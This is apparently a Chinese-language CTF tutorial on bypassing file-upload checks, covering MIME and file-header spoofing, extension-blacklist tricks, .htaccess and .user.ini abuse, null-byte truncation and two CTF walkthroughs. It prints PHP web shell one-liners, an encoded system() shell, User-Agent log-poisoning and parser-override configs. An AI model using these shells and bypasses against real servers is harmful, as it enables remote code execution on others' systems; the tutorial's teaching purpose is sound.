共计 5397 个字符,预计需要花费 14 分钟才能阅读完成。

基础部分:
1.JS 代码进行前端校验
function checkFile() {var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {alert("请选择要上传的文件!");
return false;
}
// 定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
// 提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
// 判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
可以禁用 JS 或者抓包修改,防护约等于没有
2. 数据包 MIME 校验
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
} else {$msg = '文件类型不正确,请重新上传!';}
} else {$msg = UPLOAD_PATH.'文件夹不存在, 请手工创建!';}
}
通过检验前端发来的 MIME 数据校验文件类型,我们只需抓包修改

这里我们尝试上传一个 phpinfo,可以看到被拦截下来了
我们修改 content-type 为 image/png

可以看到文件被成功的上传了
3. 文件头校验
这里可以用 winhex 或者 010editor 修改文件头或者将图片文件和木马合并起来
实战中我们可以手动在木马前面添加 GIF89a(GIF 图片文件头)来进行绕过
进阶部分:
1. 文件后缀黑名单
对部分文件后缀进行限制
如:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);// 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
$file_ext = trim($file_ext); // 收尾去空
if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
} else {$msg = '不允许上传.asp,.aspx,.php,.jsp 后缀文件!';}
} else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}
1. 如果对文件后缀考虑不周到的话可以用一些不常见的拓展名绕过如:

2. 对大小写敏感的话可以尝试大小写绕过
由于 Linux 是一个对大小写敏感的操作系统,所以 file.txt 和 file.TXT 会被视作两个不同的文件
在 win 则会视作两个相同的文件
3. 双写绕过
如果服务器只对文件后缀置空的话,我们可以尝试对文件名进行双写,类似与 SQL 注入的双写绕过
4.htaccess绕过
apache 特有的配置文件
可以将指定文件后缀或者文件名当作 php 文件执行
如:
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对 gif 文件会解析成 Php 代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成 php 代码执行
</IfModule>
或
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到 evil.gif 文件,则被解析成 PHP 代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到 evil.gif 文件,则被解析成 PHP 代码执行
</FilesMatch>
以及
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
#和第一个效果一样但是字数更少
只适用于 windows 靶机的绕过方式
空格绕过
- 原理:在文件名的前面或者后面(主要是后面,因为一般过滤后缀名)添加空格,此时函数匹配不到,但是带有空格不影响解析。
- 方式:抓包,改文件名,在文件末尾添加空格。
- e.g.
“a.php”->“a.php”
.绕过
- 原理:与空格绕过类似。
- 方式:抓包,改文件名,在文件末尾添加
.。 - e.g.
a.php->a.php.
::$data 绕过
- 原理:在
Windows中,访问<file>::$data就是访问文件本身,访问<dir>:<file>::$data就是访问dir文件夹中的<file>。 - 方式:抓包,改文件名,在文件末尾添加
::$data。 - e.g.
a.php->a.php::$data - 注:访问时文件名后不加
::$data
2. 文件白名单校验
00 截断
条件:PHP < 5.3
php.ini 配置文件中 magic_quotes_gpc 为 off
- 原理:系统在对文件名的读取时,如果遇到
0x00,就会认为读取已结束,从而忽略后面的内容。 - 方式 1:抓包,利用
0x00的 URL 编码%00修改文件名。 - e.g.
a.php->a.php%00.jpg - 方式 2:当截断内容在 POST 数据中,修改对应位置为一个
;(自选),然后直接修改 16 进制内容为00,再发包。
图片马利用
需要解析漏洞或文件包含漏洞
- 原理:将马放入正常图片中,骗过检测。
- 图片马制作方式:
copy命令copy a.jpg /b + a.php /a shell.jpg- 手动写入:记事本编辑写马即可。
- 注:上传的文件本质上依然是一张图片,所以需要通过抓包 修改后缀名 、 上传配置文件 、 利用文件包含漏洞 等方式使得该图片马被当成
php文件解析。
上传配置文件绕过
.htaccess文件绕过
中间件为 apache
.htaccess文件(或者“分布式配置文件”):一个纯文本文件,它里面存放着Apache服务器配置相关的指令。主要的作用有 URL 重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等方面。- 原理:上传
.htaccess文件,重写文件解析规则,实现绕过。 - e.g.
jpg文件的源码会被解析为php代码AddType application/x-httpd-php .jpg
.user.ini文件绕过
服务器启用了 fastcgi 模式
.user.ini:PHP支持基于每个目录的INI文件配置,实际上就是一个可以由用户“自定义”的php.ini。- 有利用价值的配置(相当于文件包含)
auto_prepend_file = <filename> // 包含在文件头(常用)auto_append_file = <filename> // 包含在文件尾 - e.g. 执行
phpinfo// .user.ini auto_prepend_file = 1.jpg // 1.jpg <?php phpinfo();?> // 1.php(任意 php 文件) - 局限:如果可以配合目录穿越漏洞,就能实现任意文件包含;如果不可以,则只能包含同一目录下的文件。
- 利用:配合
日志包含,在请求头(一般是UA字段)写入木马。auto_prepend_file=/var/log/nginx/access.log UA: <?=eval($_POST[x]);?>
3. 文件内容校验
过滤php:<?=eval($_POST[x]);?>
过滤[]:<?=eval($_POST{x});?>
过滤 ; 与[]:<?=system('tac ../flag.*')?>
过滤():<?=tac ../fl*?>
过滤 <?:
<script language="php">
echo "Legacy Code";
</script>
注:最后一个需要旧版本的 php(5.6 以前是完全支持的,7.0 以后全部废除)才能绕过
过滤敏感字符如:$_GET,system 等
可以尝试编码绕过,如:
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
4. 一些杂七杂八的绕过方式
多文件上传
可以上传多文件但是只检查第一份文件
- 显然,只需要第一份上传合法文件,第二份上传马即可。
- 注:将第二个文件表单的
action设置为绝对路径http://xxx.com/<file>以确定文件上传的路径,方便利用。
%00 截断
条件:PHP<5.3.4
PHP 白名单早期的一个漏洞
我们上传 1.php%00.jpg 时,php 识别后缀为.jpg,但实际存储的时候是.php 结尾
配合文件包含漏洞
当服务器上传文件处没有任何漏洞,我们就要考虑是否是上传一个含马文件再将其包含
例题讲解
1.GHCTF-2025 UPUPUP
https://www.nssctf.cn/problem/6590
初步尝试发现校验了 MIME 和文件头 (实际上是使用了 getimagesize) 以及黑名单校验
试了一圈发现并没有文件包含漏洞那么问题就有点复杂了
基本上所有的可执行文件的后缀都被禁了
这个时候我们考虑.htaccess 文件,但存在文件头校验,如果使用 GIF89a 或者其他文件头整个服务器就会报 500。
当时看了很久也没想出来,还是后面看 WP 才知道还有这种操作

.htaccess 文件是可以用 #号注释的,但是我们又要绕过文件头校验。
那么有没有一种文件是用 #号开头呢?
有的兄弟,有的
历史上存在一个叫 XBM 的图片
下面是一个简单的 XBM 图片
#define test_width 16
#define test_height 7
static unsigned char test_bits[] = {
0x00, 0x00, 0x00, 0x80, 0x00, 0x60, 0x00, 0x30,
0x00, 0x18, 0x00, 0x0C, 0x00, 0x06, 0x00, 0x03,
0x00, 0x03, 0x00, 0x06, 0x00, 0x0C, 0x00, 0x18,
0x00, 0x30, 0x00,
那么现在我们就可以绕过 getimagesize 了
#define width 1
#define height 1
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>

蚁剑连接即可
2.[NewStarCTF 2023 公开赛道]Upload again!
进来后发现是一个文件上传页面
fuzz 一下后发现过滤了文件内容 <? 和文件后缀黑名单
那我们来看一下 php 版本

我们可以用之前说的办法绕过 <?, 可是可执行的 php 后缀基本全部被禁止了
由于是文件名黑名单,我们可以考虑.htaccess 文件上传
.htaccess
<IfModule mime_module>
AddHandler php5-script .png
SetHandler application/x-httpd-php
</IfModule>
上传后再上传个图片马
<script language="php">
eval($_POST['cmd']);
</script>